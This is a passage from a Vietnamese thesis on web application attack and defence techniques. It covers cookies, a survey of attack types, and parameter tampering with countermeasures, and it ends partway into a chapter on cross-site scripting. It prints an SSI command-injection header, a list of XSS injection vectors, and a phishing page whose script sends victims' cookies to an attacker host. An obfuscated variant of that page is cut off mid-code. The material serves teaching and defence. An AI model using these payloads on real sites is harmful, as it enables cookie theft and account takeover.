• Non-Persistent và Secure
• Non-Persistent và Non-Secure
Persistent cookies được lưu trữ dưới dạng tập tin .txt (ví dụ trình duyệt Netscape
Navigator sẽ lưu các cookie thành một tập tin cookie.txt còn Internet Explorer sẽ lưu
thành nhiều tập tin *.txt trong đó mỗi tập tin là một cookie) trên máy khách trong một
khoản thời gian xác định.
Non-persistent cookie thì được lưu trữ trên bộ nhớ RAM của máy khách và sẽ bị hủy
khi đóng trang web hay nhận được lệnh hủy từ trang web.
Secure cookies chỉ có thể được gửi thông qua HTTPS (SSL).
Non-Secure cookie có thể được gửi bằng cả hai giao thức HTTPS hay HTTP. Thực
chất là đối với secure cookie thì trình chủ sẽ cung cấp chế độ truyền bảo mật.
Các thành phần của một cookie gồm:
Domain Flag Path Secure Expiration Name Value
www.redhat.
com
FALSE / FALSE 1154029490 Apache 64.3.40.151.16
018996349247
480
• Domain: Tên miền của trang web đã tạo cookie ( trong ví dụ trên là
www.redhat.com)
Khoa CNTT
Chương 2: Các khái niệm, thuật ngữ liên quan
-Trang 24-
• Flag: mang giá trị TRUE/FALSE -Xác định các máy khác với cùng tên miền có
được truy xuất đến cookie hay không.
• Path: Phạm vi các địa chỉ có thể truy xuất cookie. Ví dụ:
Nếu path là “/tracuu” thì các địa chỉ trong thư mục /tracuu cũng như tất cả các thư
mục con của nó như /tracuu/baomat có thể truy xuất đến cookie này. Còn nếu giá
tri là “/” thì cookie sẽ được truy xuất bởi tất cả địa chỉ thuộc miền trang web tạo
cookie.
• Sercure: mang giá trị TRUE/FALSE - Xác định đây là một secure cookie hay
không nghĩa là kết nối có sử dụng SSL hay không.
• Expiration: thời gian hết hạn của cookie, được tính bằng giây kể từ 00:00:00 giờ
GMT ngày 01/01/1970. Nếu giá trị này không được thiết lập thì trình duyệt sẽ
hiểu đây là non-persistent cookie và chỉ lưu trong bộ nhớ RAM và sẽ xoá nó khi
trình duyệt bị đóng.
• Name: Tên biến (trong trường hợp này là Apache)
• Value: Với cookie được tạo ở trên thì giá trị của Apache là
64.3.40.151.16018996349247480 và ngày hết hạn là 27/07/2006, của tên miền
http://www.redhat.com.
Ví dụ chuỗi lệnh trong HTTP header dưới đây sẽ tạo một cookie:
Set-Cookie:Apache="64.3.40.151.16018996349247480"; path="/";
domain="www.redhat.com"; path_spec; expires="2006-07-27
19:39:15Z"; version=0
Các cookie của Netscape (NS) đặt trong một tập tin Cookies.txt, với đường dẫn
là: C:Program FilesNetscapeUsersUserNameCookies.txt
Khoa CNTT
Chương 2: Các khái niệm, thuật ngữ liên quan
-Trang 25-
Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và
được đặt trong [C:]Documents and Setting[username]Cookies (Win2000), đối
với win9x, thư mục cookies nằm trong thư mục [C:]Windowscookies.
Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20 cookie.
Cookie bị hủy ngay khi đóng trình duyệt gọi là “session cookie”.
V. PROXY
Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt biệt hoặc
một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những
chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho
server thật sự mà người sử dụng cần giao tiếp.
Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp
ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client
và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lời của
server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client.
Khoa CNTT
Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công
-Trang 26-
Chương 3
GIỚI THIỆU SƠ LƯỢC VỀ CÁC KĨ THUẬT TẤN
CÔNG ỨNG DỤNG WEB
Nội dung:
I. Kiểm soát quyền truy cập Web
II. Chiếm hữu phiên làm việc
III. Lợi dụng các thiếu sót trong việc kiểm tra dữ liệ hập hợp lệ
IV. Để lộ thông tin
V. Từ chối dịch vụ
Khoa CNTT
Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công
-Trang 27-
CHƯƠNG 3: GIỚI THIỆU SƠ LƯỢC VỀ CÁC KĨ
THUẬT TẤN CÔNG ỨNG DỤNG WEB
Sau đây là các khái niệm sơ lược các kĩ thuật tấn công ứng dụng Web đã được phân
loại dựa trên mức độ gây tác hại đối với ứng dụng.
I. KIỂM SOÁT TRUY CẬP WEB (Web Access Control)
I.1. Thâm nhập hệ thống qua cửa sau (Back door)
Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài
một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ
dàng.
II.CHIẾM HỮU PHIÊN LÀM VIỆC(Session Mangement)
II.1. Ấn định phiên làm việc (Session Fixation)
Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi
một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ
thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành
người dùng hợp lệ.
II.2. Đánh cắp phiên làm việc (Session Hijacking)
Khoa CNTT
Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công
-Trang 28-
Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ sau khi nạn
nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu
trữ trong cookie hay tham số URL, biến ẩn của form.
III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA
DỮ LIỆU NHẬP HỢP LỆ (Input validation)
Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ
thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn.
III.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía
trình duyệt (Client-Side validation)
Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript..) đuợc thực thi trên trình
duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra.
III.2. Tràn bộ đệm (Buffer OverFlow)
Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp
phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay
vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống. Nghiêm
trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống.
III.3. Mã hoá URL (URL Encoding)
Lợi dụng chuẩn mã hóa những kí tự đặc biệt trên URL mà hacker sẽ mã hoá tự
động những kí tự bất hợp lệ- những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để
vượt qua vòng kiểm soát này.
III.4. Kí tự Meta (Meta-characters)
Khoa CNTT
Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công
-Trang 29-
Sử dụng những kí tự đặc biệt ( nói rõ hơn trong phần phụ lục) hacker có thể chèn
thêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như <script> trong kĩ thuật
XSS, ‘ -- trong SQL….để thực thi câu lệnh.
III.5. Vượt qua đường dẫn (Path Traversal):
Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả
về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên hệ thống.
III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân
(Cross- Site Scripting):
Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người
dùng hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì ( thường
được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có
thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành
người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này. Cross-
Site scripting cũng là một kiểu tấn công “session hijacking”.
III.7. Thêm câu lệnh hệ thống (OS Command Injection):
Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm
vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của
form, cookies, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những
tập tin được đưa lên trình chủ.
Thành công trong kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ
thống với cùng quyền của trình chủ.
Khoa CNTT
Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công
-Trang 30-
III.8. Chèn câu truy vấn SQL (SQL Injection)
Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra
giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những
giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống.
III.9. Ngôn ngữ phía máy chủ (Server side includes)
Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include
file), truy xuất cơ sở dữ liệu (jdbc)…khiến cho hacker có cơ hội truy xuất đến file,
cơ sở dữ liệu…mà bình thường không thể xem được trên Web site.
III.10. Kí tự rỗng (Null Characters)
Lợi dụng chuỗi kí tự thường kết thúc bằng 0 mà hacker thường thêm vào để đánh
lừa ứng dụng vì với những ứng dụng sử dụng chương trình cgi như C++ thì C++
cho rằng 0 là dấu kết thúc chuỗi.
Ví dụ:
Hacker thêm chuỗi sau:
Ô nhập: đề tài thứ nhất0<script> alert(document.cookie)</script>
nếu ứng dụng sử dụng chương trình C++ để kiểm tra tính đúng đắn của chuỗi thì
chuỗi trên hợp lệ do C++ sẽ nhân biết “0” là kết thúc chuỗi nên không kiểm tra
đoạn sau..
III.11. Thao tác trên tham số truyền (Parameter
manipulation)
Những thông tin trao đổi giữa trình chủ và trình duyệt được lưu trữ trong những
biến như biến trên URL, biến ẩn form, cookie…Bởi vì việc kiểm soát biến chưa
Khoa CNTT
Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công
-Trang 31-
được quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị biến để đánh
cắp phiên làm việc của người dùng hay thay đổi giá trị một món hàng….
IV. ĐỂ LỘ THÔNG TIN (informational)
Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như mã
nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệ thống luôn là
mục tiêu của hacker. Ngoài ra những lời chú thích trong mã nguốn cũng là nguồn
thông tin hữu ích cho hacker.
Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng có
tồn tại hay không.
Ví dụ 1.IV-1:
• HTTP 200 : tập tin tồn tại
• HTTP 404: tập tin không tồn tại.
V.TỪ CHỐI DỊCH VỤ (Denial of service (DoS)
Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian nhất
định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ.
Vì khuôn khổ và thời gian của luận văn là có hạn nên luận văn chỉ thực hiện tìm hiểu
một số kĩ thuật phổ biến và khả năng phá hoại một hệ thống mạng với mức độ cao. Và
trong các chương ở phần thứ hai, luận văn sẽ trình bày kĩ hơn từng kĩ thuật sau :
• Thao tác trên tham số truyền
• Chèn mã lệnh thực thi trên trình duyệt
• Chèn câu truy vấn SQL
• Chiếm hữu phiên làm việc
Khoa CNTT
Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công
-Trang 32-
• Tràn bộ đệm
• Từ chối dịch vụ
• Một vài kĩ thuật khác
o Kí tự rỗng
o Mã hóa URL
o Lợi dụng truy xuất đường dẫn đến một tập tin
o Ngôn ngữ phía trình chủ
Khoa CNTT
Phần II: Các kĩ thuật tấn công và bảo mật ứng dụng Web
-Trang 33-
PHẦN THỨ HAI
CÁC KĨ THUẬT TẤN CÔNG VÀ
BẢO MẬT ỨNG DỤNG WEB
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 34-
Chương 4
THAO TÁC TRÊN THAM SỐ TRUYỀN
Nội dung:
I. Thao tác trên URL
II. Thao tác trong biến ấn form
III. Thao tác trên cookie
IV. Thao tác trong HTTP Header
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 35-
CHƯƠNG 4:THAO TÁC TRÊN THAM SỐ TRUYỀN
Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên cookie, URL
hay biến ẩn của form. Kĩ thuật Cross-Site Scripting, SessionID, SQL Injection, Buffer
Overflow…cũng cần dùng đến các tham số này để hoàn thiện các bước tấn công của
hacker. Có thể nói các tham số truyền là đầu mối cho mọi hoạt động của hacker trong
quá trình tấn công ứng dụng. Vì thế đây là nội dung chương đầu tiên được đề cập trong
phần thứ hai, mục đích cũng là để hỗ trợ tốt hơn phần trình bày các chương kế tiếp.
I. THAO TÁC TRÊN URL
I.1. Khái niệm:
Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay
POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong
chuỗi URL.
Ví dụ 4.I.1-1: Có một trang web ứng dụng cho phép thành viên đã được thay đổi
mật khẩu.
http://www.nganhang.com/example?user=thang&newpass=123
Với:
+ username là tên người cần thay đổi mật khẩu.
+ newpass là mật khẩu mới cho username
Tuy nhiên, bằng cách thay đổi tham số như sau:
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 36-
http://www.nganhang.com/example?user=admin&newpass=111111
Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì,
trong ví dụ này là ‘1111111’
I.2. Một số biện pháp khắc phục
Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng
biện pháp sau:
• Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng chứng
thực thành công với một username , ứng dụng sẽ sinh ra một khoá tương ứng.
Khoá này sẽ được lưu trên server cùng với biến username trong đối tượng
bảng băm. Mỗi khi người dùng kết nối đến ứng dụng, khoá và username này
sẽ được gửi đi và được so sánh với khoá và username trong bảng băm. Nếu
tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server biết
rằng người dùng đã thay đổi URL.
• Ngoài ra, với những thông tin có giá trị, cần mã hoá thông tin này trước khi
cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý.
II. THAO TÁC TRÊN BIẾN ẨN FORM
II.1. Khái niệm
Thông tin có thể được chuyển đổi thông qua một biến ẩn của form, gọi là Hidden
Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người
dùng có thể tìm thấy nội dung của nó trong “ view source ”, vì thế đây là một
điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt,
thay đổi nội dung trang và gửi đến trình chủ.
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 37-
Ví dụ 4.II.1-1: Form gốc có nội dung như sau:
<form action="http://www.tancong.com/cuahang.pl" method="POST">
...
<input type="hidden" name="giaca" value="99.99">
...
</form>
Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung :
POST /cuahang.pl HTTP/1.0
...
giaca=99.99
Nhưng nếu hacker gán một giá trị khác cho trường “giaca” :
<form action="http://www.tancong.com/cuahang.pl" method="POST">
...
<input type="hidden" name="giaca" value="0.99">
...
</form>
thì yêu cầu sẽ thay đổi:
POST /cuahang.pl HTTP/1.0
...
giaca=0.99
Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung các
thành phần trong form, như chiều dài của một ô nhập dữ liệu để thực hiện việc tấn
công “BUFFER OVERFLOW”, …
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 38-
II.2. Một số biện pháp khắc phục
• Chỉ nên sử dụng biến ẩn của form để hiển thị dữ liệu trên trình duyệt, không
được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng.
• Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến, tuy
nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì vậy
cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra.
• Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán mã
hoá MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó và lưu nó
vào một hidden field gọi là “Chuỗi mẫu”.
Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với
cùng một khoá mà ta định trước. Sau đó đem so sánh với “Chuỗi mẫu”, nếu
chúng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi.
• Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên cơ sở dữ
liệu.
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 39-
III. THAO TÁC TRÊN COOKIE
III.1. Khái niệm
Ở phần thứ nhất, chương 2, mục IV, luận văn đã trình bày cơ bản khái niệm về
cookie. Trong mục này, luận văn chỉ trình bày cách thay đổi một cookie.
Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường được
dùng để lưu giữ trạng thái cho giao thức HTTP hơn là biến ẩn form và biến URL.
Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng
dụng và những dữ liệu khác của session. Tất cả các loại cookie như persistent hay
non-persistent, secure hay insecure đều có thể bị thay đổi bởi người dùng và được
gởi về cho trình chủ. Do đó hacker có thể thay đổi nội dung cookie để phá hoại
ứng dụng.
Với những công cụ miễn phí như Winhex thì non-persistent cookie có thể bị thay
đổi nội dung. Còn SSL chỉ có thể bảo vệ cookie trong quá trình truyền.
Ví dụ 4.III.1-1: về cookie dùng để lưu trữ thông tin cho ứng dụng web thông tin
du lịch:
Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;
Cookie xác định người dùng này không phải là Admin (ADMIN=no), nhưng nếu
hacker thay đổi trường này điều gì sẽ xảy ra? Hacker có thể thay đổi lại thành như
sau:
Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ;
Hacker lúc này mang vai trò là một người quản trị của ứng dụng.
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 40-
III.2. Một số biện pháp khắc phục
• Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ. Khi ứng
dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng sessionID
của người dùng để chỉ đến thông tin của người dùng đó trong cache hay cơ sở
dữ liệu.
• Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá trị
không hợp lệ từ đó biết được cookie đó là giả. Ví dụ là nếu biến cờ “người
quản trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số thứ tự
người dùng trong cookie lại không giống như giá trị số thứ tự của “người quản
trị” được lưu trữ trên server.
• Phương pháp cuối cùng là mã hoá cookie. Có một số phương pháp mã hoá
như symmetric (dùng 1 khóa duy nhất cho cả mã hóa và giải mã) hay
asymmetric (mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã hóa
và một khóa riêng để giải mã)
IV. THAO TÁC TRONG HTTP HEADER
URL, biến ẩn form, cookie đều là những thành phần lưu trữ thông tin mà người dùng
thông thường có thể xem và thay đổi. Tuy nhiên, những thành phần đó đều được
chuyển đi thông qua HTTP Header. Vì thế, mặc dù HTTP Header không phải là tham
số truyền của một ứng dụng nhưng mọi thông tin đều được lưu trữ vào nó trước khi
chuyển đi nên trong phần này sẽ đề cập đến việc thay đổi một HTTP Header.
IV.1. Khái niệm
Thông thường chỉ có trình duyệt và trình chủ là trao đổi HTTP Header ( xem chi
tiết trong phần thứ nhất, chương 2, mục II), còn hầu hết các ứng dụng web thì
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 41-
không. Tuy nhiên, hacker có thể tự viết một chương trình để điều khiển HTTP
header (như xem nội dung, tạo mới) hay sử dụng các proxy miễn phí cho phép
thay đổi dữ liệu được gửi từ trình duyệt. Ngoài ra hacker có thể tấn công trực tiếp
bằng cách telnet gửi HTTP Request đến trình chủ.
Ví dụ 4.IV.1-1:
su-2.05# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: www.redhat.com/login.asp
User-Agent: <!--#exec cmd="/bin/id"-->
HTTP/1.1 200 OK
Date: Mon, 17 Dec 2001 20:39:02 GMT
Server:
Connection: close
Content-Type: text/html
Phần in đậm là nội dung hacker thay đổi.
Ví dụ 4.IV.1-2:
Referer header chứa URL của trang web mà từ đó yêu cầu được gửi đi. Vì thế
một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó
được gửi từ trang web của ứng dụng đó. Việc làm này dùng để ngăn chặn việc
hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằng
cách nhằm vào client side validate hay server side include, sau đó gửi đi. Nhưng
phương pháp kiểm tra này sẽ thất bại khi hacker có thể sửa lại Referer header để
nó giống như được gửi từ trang web hợp lệ.
Khoa CNTT
Chương 4: Thao tác trên tham số truyền
-Trang 42-
Referer: www.redhat.com/login.asp
IV.2. Một số biện pháp khắc phục
Đơn giản là không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn.
Với các header gửi từ trình chủ, chẳng hạn như cookie thì có thể được mã hoá.
Còn với các header gửi từ trình khách thì không nên dùng các tham số như
referer,… để thực hiện các biện pháp an toàn.
Nhận xét:
Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưu trữ
dưới dạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thông tin này
nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trong cache của trình
chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch.
Bên cạnh đó, việc kiểm tra dữ liệu đúng đắn là cần thiết vì hầu như các kĩ thuật tấn
công đều dựa vào dữ liệu nhập trên URL, biến ẩn form hay cookie như kiểu tấn công
Cross-Site Scripting trong chương kế tiếp hay SQL Injection trong chương 6…
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 43-
Chương 5
CHÈN MÃ LỆNH THỰC THI TRÊN
TRÌNH DUYỆT NẠN NHÂN
Nội dung:
I. Cross Site Scripting (XSS)
II. Phương pháp tấn công XSS truyền thống.
III. Một số WebSite tìm thấy lỗ hổng XSS.
IV. Tấn công XSS bằng Flash.
V. Cách phòng chống.
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 44-
CHƯƠNG 5:
CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT
NẠN NHÂN (CROSS SITE SCRIPTING)
I. KĨ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS)
Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công
bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những
thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ đó
chúng được chạy như là một phần của ứng dụng Web và có chức năng cung cấp hoặc
thực hiện những những điều hacker muốn.
Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính
máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết
hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng
bị mất thông tin một cách dễ dàng.
Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích
hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript,
JavaScript…được thực thi trên chính trình duyệt của nạn nhân.
Ví Dụ 5.I-1:
http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert
(document.cookie);</script>
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 45-
hay:
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te
xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân.
Trong những ví dụ 2.I-1 trên, hầu hết những tiền tố URL là địa chỉ của những ứng
dụng Web có thật (VD: http://www.microsoft.com/education,
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) lợi dụng cách truyền tham số
trên URL mà hacker có thể dễ dàng thêm vào đoạn mã đánh cắp cookie.
Ví dụ 5.I-1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang
Web thông qua URL. Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã
JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng
Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng.
Sau đây là danh sách nơi có thể chèn đoạn mã:
Ví dụ 5.I-2:
<a href="javas&#99;ript&#35;[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<liên kết rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
<img src="mocha:[code]">
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 46-
<img src="livescript:[code]">
<a href="about:<s&#99;ript>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([liên kết to code]);">
<div style="binding: url([liên kết to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml>
(tài liệu từ http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0)
Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin.
II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG
Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông
tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập
ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc
của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của
hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên
ứng dụng đó.
Các bước thực hiện XSS truyền thống:
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 47-
Hình 5.II-1. Quá trình thực hiện XSS
Tóm tắt các bước thực hiện:
• Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ
hỏng XSS.
• Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang
Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo
ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích
sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn
đang chờ bạn”…
• Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của
hacker.
• Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một
trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin
• Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của người dùng.
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 48-
Ví dụ 5.II-1: Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể
thực hiện như sau :
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do
cument.location.replace('http://www.attacker.com/steal.cgi?'+docume
nt.cookie);</script>"> Một phần thưởng hấp dẫn đang chờ bạn </a>
</body>
</html>
Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ bạn”,
cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương trình
steal.cgi của hacker.
http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C
20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195
11286
Vấn đề đặt ra là có thể người lập trình sẽ bảo vệ ứng dụng Web của mình bằng cách
lọc những kí tự đặc biệt như ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực hiện
câu truy vấn SQL chẳng hạn)… Nhưng hacker có thể lợi dụng mã hex thay cho
những kí tự đặc biệt để tấn công.
Thay thế bằng những số hex cho những kí tự ASCII.
Ví dụ 5.II-2:
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 49-
http://www.attacker.com/steal.cgi:
h -> 0x0068
t -> 0x0074
t -> 0x0074
p -> 0x0070
: -> 0x003A
/ -> 0x002F
…
Sau đây là ví dụ trong cách dùng mã hex trong ứng dụng web.
Ví dụ 5.II-3:
<html>
<head>
<title>Look at this!</title>
</head>
<body>
<a
href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va
r u = String.fromCharCode(0x0068);u %2B=
String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0070);u %2B=
String.fromCharCode(0x003A);
u %2B= String.fromCharCode(0x002F);u %2B=
String.fromCharCode(0x002F);
u %2B= String.fromCharCode(0x0061);u %2B=
String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0074);u %2B=
String.fromCharCode(0x0061);
Khoa CNTT
Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting)
-Trang 50-
